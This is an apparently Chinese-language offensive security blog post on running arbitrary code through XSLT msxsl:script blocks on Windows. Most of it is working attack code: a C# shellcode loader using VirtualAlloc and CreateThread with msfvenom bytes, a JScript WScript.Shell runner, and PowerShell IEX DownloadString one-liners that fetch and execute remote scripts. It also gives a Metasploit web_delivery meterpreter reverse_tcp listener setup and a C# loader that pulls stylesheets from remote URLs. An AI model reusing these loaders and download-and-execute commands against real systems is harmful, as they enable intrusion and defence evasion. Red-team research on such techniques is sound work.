Hack With XSLT

0x00 简介

XSLT全称为拓展样式表转换语言,是一种用于将 XML 文档转换为 XHTML 文档或其他 XML 文档的语言。更多关于XSLT的教程可以参考W3school。关于XSLT的hack技巧之前已经有老师总结了WebShell系列(一)—XML,里面详细介绍了怎么通过xslt构造webshell,并且可以看的出,通过XSLT可以执行很多类型的脚本,前段时间@Casey Smith公开了一个Execute C# From XSLT 的POC,感觉很有趣,所以简单的研究了一下,也就有了此文。

0x01 POC

Casey Smith分享的poc如下:
calc.xslt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:my="urn:MyModule">

<msxsl:script implements-prefix="my" language="C#">
public void Exec()
{
System.Diagnostics.Process.Start("Calc.exe");
}
</msxsl:script>

<xsl:template match="data">
<result>
<xsl:value-of select="my:Exec()" />
</result>
</xsl:template>
</xsl:stylesheet>

其中xsl:stylesheet用来定义样式表的根元素;version是其必须的属性,用来规定样式表的XSLT 版本;xmlns:xsl名称空间,值固定;要使用msxsl:script元素,由于其属于命名空间urn:schemas-microsoft-com:xslt,所以样式表必须包含命名空间声明;xmlns:my定义命名空间,名字随意,需要注意的是下面的implements-prefix的值要与其一致。

msxsl:script定义如下:

1
<msxsl:script language = "language-name" implements-prefix = "prefix of user namespace"> </msxsl:script>

其中 msxsl 是绑定到命名空间 urn:schemas-microsoft-com:xslt 的前缀。
language 属性不是强制属性,但如果指定该属性,其值必须是下列值之一:C#、VB、JScript、JavaScript、VisualBasic 或 CSharp。 如果未指定,则默认语言为 JScript。
implements-prefix属性是必选项。 此属性用于声明命名空间并将其与脚本块关联。

xsl:template元素包含了当匹配指定节点时要应用的规则,match 属性用于把模板关联到某个 XML 元素,在这里关联了example.xml,如下:

1
<?xml version="1.0"?><data></data>

xsl:value-of 元素用于提取某个选定节点的值。在这里也就是执行我们的函数。

执行其POC,可以成功执行C#代码。

1.gif

0x02 优化

为了更方便使用,将powershell代码修改成可远程加载的代码,地址为:xslt_exec.ps1 使用此脚本可加载远程及本地XSL文件并执行其中的代码。使用方式很简单,以下为DEMO:

2.gif

如果想远程加载执行可以这样:

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/calc.xslt"

3.gif

0x03 Exec Shellcode

既然能执行C#,那怎么执行ShellCode呢,其实很简单,参考Casey Smith给出的代码,修改代码如下:
shellcode.xslt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:shellcode="urn:MyModule">

<msxsl:script implements-prefix="shellcode" language="C#">
<msxsl:using namespace="System.Runtime.InteropServices" />
<![CDATA[
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);

public void Exec()
{
#msfvenom --payload windows/x64/exec CMD="calc" EXITFUNC=thread -f csharp
byte[] shellcode = new new byte[272] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x00 };

UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
]]>
</msxsl:script>

<xsl:template match="data">
<result>
<xsl:value-of select="shellcode:Exec()" />
</result>
</xsl:template>
</xsl:stylesheet>

shellcode可以通过msf来生成,具体生成方法在代码里已经给出,测试如下:

4.gif

0x04 Exec JScript

既然xslt可以执行多种脚本,当然也包括JScript,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
<![CDATA[
function test(){
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</msxsl:script>

<xsl:template match="data">
<result>
<xsl:value-of select="user:test()" />
</result>
</xsl:template>
</xsl:stylesheet>

远程加载如下:

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/xslt_poc/master/xslt_exec.ps1'); xslt_exec -xslt_url https://raw.githubusercontent.com/Ridter/xslt_poc/master/js_calc.xslt"

之前Casey Smith分享过一个JS Dropper戳我。里面多了一个调用certuil.exe对文件进行base64加解密,这里当然也可以实现,具体代码就不贴了,地址在这

0x05 Get Meterpreter

说了这么多,有人可能会问怎么才能获得meterpreter,其实很简单,实现代码在这。首先msf开启监听:

1
2
3
4
5
6
7
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.101
set lport 8889
set uripath xslt
exploit

然后修改meter.xslt,之后用ps来加载就可以了。

5.gif

0x06 Other

当然,除了powershell可以调用xslt,其他语言也可以,这里分享一个C#的,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.XPath;
using System.Xml.Xsl;
using System.Xml;
namespace ApplyXSLTToXML
{
class Program
{
static void Main(string[] args)
{
string XMLFilePath = @"https://evi1cg.github.io/scripts/example.xml";
string XSLTFilePath = @"https://evi1cg.github.io/scripts/calc.xslt";
try
{
XsltSettings xslt_settings = new XsltSettings(false, true);
xslt_settings.EnableScript = true;
XslCompiledTransform xslt = new XslCompiledTransform();
XmlUrlResolver resolver = new XmlUrlResolver();
// Load documents
xslt.Load(XSLTFilePath, xslt_settings, resolver);
XPathDocument xmlPathDoc = new XPathDocument(XMLFilePath);
XmlWriterSettings settings = new XmlWriterSettings();
settings.Indent = true;
settings.OmitXmlDeclaration = true;
XmlWriter writer = XmlWriter.Create("output.xml", settings);
xslt.Transform(xmlPathDoc,writer);
writer.Close();

}
catch (Exception e)
{

Console.WriteLine("Error:");
Console.WriteLine(e.Message);

}
}
}
}

其他语言的,如果需要,还希望小伙伴们自己动手写写。

0x07 小结

以上仅作为一个技术分享,代码均已在github分享,地址xslt_poc,希望对你有所启发。

------本文结束,感谢阅读------